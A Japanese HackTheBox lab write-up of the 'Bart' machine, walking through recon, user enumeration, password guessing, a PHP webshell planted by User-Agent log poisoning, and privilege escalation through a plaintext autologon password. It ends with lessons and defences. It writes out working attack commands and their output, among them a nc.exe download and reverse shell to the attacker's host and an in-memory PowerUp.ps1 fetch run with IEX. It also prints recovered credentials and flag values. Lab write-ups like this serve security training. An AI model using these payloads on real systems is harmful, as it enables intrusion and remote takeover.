HackTheBox: Bart — 全実行コマンド・実行結果レポート
Nmap スキャン
ポート80のみ
→
ポート80のみ
forum.bart.htb
スタッフ氏名・メール
→
スタッフ氏名・メール
/monitor ユーザー列挙
harvey / potter
→
harvey / potter
internal-01.bart.htb
simple_chat: harvey / Password1
→
simple_chat: harvey / Password1
log.php User-Agentポイズニング
webshell設置
→
webshell設置
nt authority\iusr RCE
user.txt ✓ (privesc後に読取)
→
user.txt ✓ (privesc後に読取)
PowerUp.ps1 Invoke-AllChecks
Registry Autologon平文パスワード漏洩
→
Registry Autologon平文パスワード漏洩
PSCredential + Invoke-Command
bart\administrator
→
bart\administrator
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン
BASH
nmap -Pn -p- -T4 --min-rate 3000 10.129.96.185
RESULT
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 44.59 seconds
ℹ️
開いているポートは80のみ。他は全てフィルタされている(ホストファイア
ウォールで許可されているのはHTTPのみ)。
リダイレクト確認と/etc/hosts設定
BASH
curl -sI http://10.129.96.185/
RESULT
HTTP/1.1 302 Found Location: http://forum.bart.htb/ Server: Microsoft-IIS/10.0 X-Powered-By: PHP/7.1.7
BASH
echo "10.129.96.185 bart.htb forum.bart.htb monitor.bart.htb internal-01.bart.htb" >> /etc/hosts
ℹ️
IIS 10.0 + PHP 7.1.7 という組み合わせから Windows Server 2016 が濃厚。
以降必要になる4つのサブドメインをまとめて /etc/hosts に登録しておく。
PHASE 2
サブドメイン発見 — forum → /monitor → internal-01
forum.bart.htb のスタッフページからユーザー名収集
BASH
curl -s http://forum.bart.htb/ | grep -iE "email|@bart|<!--"
RESULT (抜粋)
<div class="pos">CEO@BART</div>
<a href="mailto:s.brown@bart.local">
<a href="mailto:d.simmons@bart.htb">
<a href="mailto:r.hilton@bart.htb">
<!-- <div class="owl-item">...
<div class="pos">Developer@BART</div>
<a href="mailto:h.potter@bart.htb">
<!-- Adding other employees breaks the CSS, I will fix it later. -->
🚨
重要: Developer
h.potter の項目だけ
HTMLコメントアウトされてサイト上には表示されていない。ソース閲覧でしか
見つからない「隠れユーザー」。
カスタム404を回避したディレクトリ列挙
BASH
wfuzz -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt \ http://bart.htb/FUZZ | grep -v <カスタム404のサイズ>
RESULT
/forum (forum.bart.htbと同じページ)
/monitor (200 → 301 redirect、PHP Server Monitor v3.2.1 ログイン画面)
⚠️
このサイトは存在しないパスにも200を返すカスタム404ページを使っている
ため、通常のステータスコード判定では偽陽性だらけになる。レスポンス
サイズでフィルタする必要がある。
PHASE 3
ユーザー列挙 & 認証情報特定
/monitor のパスワード忘れ機能でユーザー列挙
BASH
curl -s -c bc.txt "http://bart.htb/monitor/index.php?action=forgot" -o f.html CSRF=$(grep -oP 'name="csrf" value="\K[^"]+' f.html) curl -s -b bc.txt "http://bart.htb/monitor/index.php?action=forgot" \ -d "csrf=$CSRF&user_name=h.potter" curl -s -b bc.txt "http://bart.htb/monitor/index.php?action=forgot" \ -d "csrf=$CSRF&user_name=harvey"
RESULT
h.potter → "The provided username could not be found." harvey → "An email has been sent to you..." (有効なユーザー)
🚨
コメントアウトされていた
h.potter はこのアプリの
ユーザー名としては存在せず、代わりにファーストネームだけの
harvey が実在するユーザー名だった。
パスワード総当り (少数の推測) — /monitor
BASH
# 姓ベースのパスワードを大文字/小文字違いで試す for p in Potter potter Potter1 Password1; do # csrf, user_name=harvey, user_password=$p でPOST done
RESULT
Potter → "The information is incorrect." potter → ログイン成功 (Servers メニュー・Logoutリンクが出現)
⚠️
大文字小文字が重要。 姓そのままの
Potter
ではなく全て小文字の potter が正しいパスワードだった。
監視対象サーバー一覧から internal-01 を発見
BASH
curl -s -b bc.txt "http://bart.htb/monitor/index.php?mod=server"
RESULT (抜粋)
<a href="http://monitor.bart.htb/?&mod=server&action=view&id=3">Internal Chat</a>
<div>http://internal-01.bart.htb/</div>
simple_chat へのログイン — internal-01.bart.htb
BASH
curl -s -c cc.txt "http://internal-01.bart.htb/simple_chat/login.php" \
-d "uname=harvey&passwd=Password1&submit=Login" -w "%{redirect_url}"
RESULT
誤ったパスワード → redirect_url=.../login_form.php (ログイン画面に差し戻し)
harvey / Password1 → redirect_url=http://internal-01.bart.htb/ (成功)
ℹ️
フォームの見た目上の action は
login_form.php だが、実際に
資格情報を処理するのは HTML の <form action="login.php">。
リダイレクト先URLの違い(ログイン画面 vs トップページ)で成否を判定できる。
PHASE 4
log.php User-Agentログポイズニング → RCE
ログ機能のソースコードからRCEエンドポイントを発見
BASH
curl -s -b cc.txt "http://internal-01.bart.htb/" | grep -oE "log/log\.php[^\"']*"
RESULT
xhr.open('GET', 'http://internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey', true);
ℹ️
チャットのログをサーバー側ファイルへ保存する機能。
filename
パラメータで保存先ファイル名を、実際のログ本文には
リクエストの User-Agent ヘッダーがそのまま書き込まれる
(典型的なログポイズニング脆弱性)。
PHP Webshellの設置
BASH
curl -s "http://internal-01.bart.htb/log/log.php?filename=shell2.php&username=harvey" \ -A '<?php echo shell_exec($_GET["cmd"]." 2>&1"); ?>'
BASH (トリガー)
curl -s "http://internal-01.bart.htb/log/shell2.php?cmd=whoami"
RESULT
[2026-09-13 04:10:09] - harvey - nt authority\iusr
✅
RCE成功! filename に
.php 拡張子の
未使用の新しいファイル名を指定するのがポイント
(既存ファイルに追記すると過去の壊れたペイロードが残り500エラーになる
ことを確認)。
nc.exe転送 & リバースシェル確立
BASH
# Kali側でHTTPサーバーとncリスナーを起動 python3 -m http.server 8000 nc -lnvp 4444 # webshell経由でnc.exeをダウンロードさせ実行 curl "http://internal-01.bart.htb/log/shell2.php?cmd=powershell.exe%20wget%20http://10.10.15.200:8000/nc64.exe%20-OutFile%20C:\inetpub\wwwroot\internal-01\log\nc.exe" curl "http://internal-01.bart.htb/log/shell2.php?cmd=C:\inetpub\wwwroot\internal-01\log\nc.exe%2010.10.15.200%204444%20-e%20cmd.exe"
RESULT
listening on [any] 4444 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.96.185] 49749 Microsoft Windows [Version 10.0.15063] C:\inetpub\wwwroot\internal-01\log>whoami nt authority\iusr
iusrではuser.txtにアクセス不可 (privesc待ち)
BASH
C:\>dir C:\Users C:\>dir "C:\Users\Harvey Potter\Desktop" C:\>dir "C:\Users\h.potter\Desktop" C:\>dir "C:\Users\privileged\Desktop"
RESULT
Directory of C:\Users Administrator DefaultAppPool forum.bart.local h.potter Harvey Potter internal.bart.local monitor.bart.local privileged Public test C:\Users\h.potter, "Harvey Potter", privileged のいずれも: File Not Found ← 実際は権限不足(iusrはDesktopの中身を列挙できない)
⚠️
nt authority\iusr はどのユーザーの Desktop にもアクセス
できない。user.txt を読むには権限昇格が必須(この設計はwalkthrough
記載の通り意図的)。
PHASE 5
PowerUp.ps1 による権限昇格調査
PowerUp.ps1 をメモリ上でダウンロード実行
BASH (Kali側)
cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 . python3 -m http.server 8000
BASH (リバースシェル側)
powershell.exe -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.200:8000/PowerUp.ps1'); Invoke-AllChecks"
RESULT (抜粋)
Privilege : SeImpersonatePrivilege Attributes : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED Check : Process Token Privileges ModifiablePath : C:\ProgramData\ComposerSetup\bin Check : %PATH% .dll Hijacks DefaultDomainName : DESKTOP-7I3S68E DefaultUserName : Administrator DefaultPassword : 3130438f31186fbaf962f407711faddb Check : Registry Autologons
🚨
決定的な発見: レジストリの自動ログオン設定に
Administrator の平文パスワードがそのまま保存されて
いた(32文字の16進数っぽく見えるが実際はこれがそのままログイン
パスワードとして機能する文字列)。
SeImpersonatePrivilege
も見つかっているため JuicyPotato 系の代替手段も理論上は使えるが、
この平文パスワードの方が圧倒的に簡単。
PHASE 6
PSCredential + Invoke-Command → root.txt
Administrator認証情報でローカルPSSessionを確立
BASH (リバースシェル内 PowerShell)
$u = 'BART\Administrator'
$p = ConvertTo-SecureString -AsPlainText -Force '3130438f31186fbaf962f407711faddb'
$c = New-Object System.Management.Automation.PSCredential $u, $p
Invoke-Command -ComputerName localhost -Credential $c -ScriptBlock { whoami }
RESULT
bart\administrator
✅
Administrator権限で任意コマンド実行が可能になった。
Invoke-Command -ComputerName localhost(ローカルループバック
PSリモーティング)を使うことで、平文パスワードから直接昇格済み
コンテキストでのコマンド実行を得られる — 追加のエクスプロイトは不要。
両フラグの場所を特定して読み取り
BASH
Invoke-Command -ComputerName localhost -Credential $c -ScriptBlock {
Get-ChildItem C:\Users -Recurse -Filter user.txt -ErrorAction SilentlyContinue
Get-ChildItem C:\Users -Recurse -Filter root.txt -ErrorAction SilentlyContinue
}
RESULT
Directory: C:\Users\h.potter\Desktop
-ar--- ... 34 user.txt
Directory: C:\Users\Administrator\Desktop
-ar--- ... 34 root.txt
BASH
Invoke-Command -ComputerName localhost -Credential $c -ScriptBlock {
Get-Content 'C:\Users\h.potter\Desktop\user.txt'
Get-Content 'C:\Users\Administrator\Desktop\root.txt'
}
RESULT
eba6875d29ed7f7b1311eba167caebad fbeaae595aa6957288555d2d2a557fe9
ℹ️
user.txt の実体は Windowsアカウント名
h.potter
(アプリのログインID harvey とは別物) の Desktop にある。
iusrコンテキストではこのフォルダ自体を列挙できなかったため、
Administrator 昇格後に初めて発見できた。
user.txt — h.potter
eba6875d29ed7f7b1311eba167caebad
root.txt — Administrator@bart
fbeaae595aa6957288555d2d2a557fe9
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — h.potter
eba6875d29ed7f7b1311eba167caebad
root.txt — Administrator@bart
fbeaae595aa6957288555d2d2a557fe9
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| ユーザー列挙 | PHP Server Monitor forgot-password / simple_chat login | 有効なユーザー名の特定 | Medium | 存在するユーザーと存在しないユーザーでレスポンス文言が異なる |
| User-Agentログポイズニング | internal-01.bart.htb/log/log.php | リモートコード実行 (nt authority\iusr) | Critical | filenameパラメータで拡張子.phpの新規ファイルを指定し、 User-AgentヘッダーにPHPコードを仕込んで書き込ませRCE化 |
| Registry Autologon平文パスワード | HKLM\…\Winlogon (PowerUp.ps1で検出) | 権限昇格 (Administrator) | Critical | PowerUp.ps1のInvoke-AllChecksが自動ログオン用の平文パスワードを レジストリから抽出、PSCredential+Invoke-Commandで即座に悪用 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap全ポート、302リダイレクト確認 | ポート80のみ、forum.bart.htbへのリダイレクト |
| 2 | サブドメイン発見 | スタッフページ + wfuzz(サイズフィルタ) | /monitor (PHP Server Monitor)、隠れユーザーh.potter |
| 3 | 認証情報列挙 | forgot-password列挙 + 少数総当り | harvey/potter (monitor)、harvey/Password1 (simple_chat)、internal-01.bart.htb発見 |
| 4 | RCE | log.php User-Agentポイズニング | nt authority\iusrとしてのコード実行(user.txtは未取得) |
| 5 | 権限調査 | PowerUp.ps1 Invoke-AllChecks | Registry AutologonのAdministrator平文パスワード |
| 6 | 権限昇格 | PSCredential + Invoke-Command | user.txt / root.txt 両方取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| パスワードリセット・ログイン機能のエラーメッセージが 存在するユーザーと存在しないユーザーで異なる | 「ユーザー名またはパスワードが正しくありません」のように 常に同一のメッセージを返す。 |
| ログ書き込み機能がファイル名・書き込み内容(User-Agent)を 一切サニタイズせず、しかも .php 拡張子まで許可している | ログファイルの拡張子・保存先を固定しWebから直接実行できない 場所に置く。書き込み内容はエスケープ/エンコードする。 |
| レジストリの自動ログオン設定に管理者パスワードを平文保存 | 自動ログオン機能自体を無効化する。やむを得ず使う場合は LSA Secretsの保護機構を利用し、定期的にパスワードローテーションする。 |

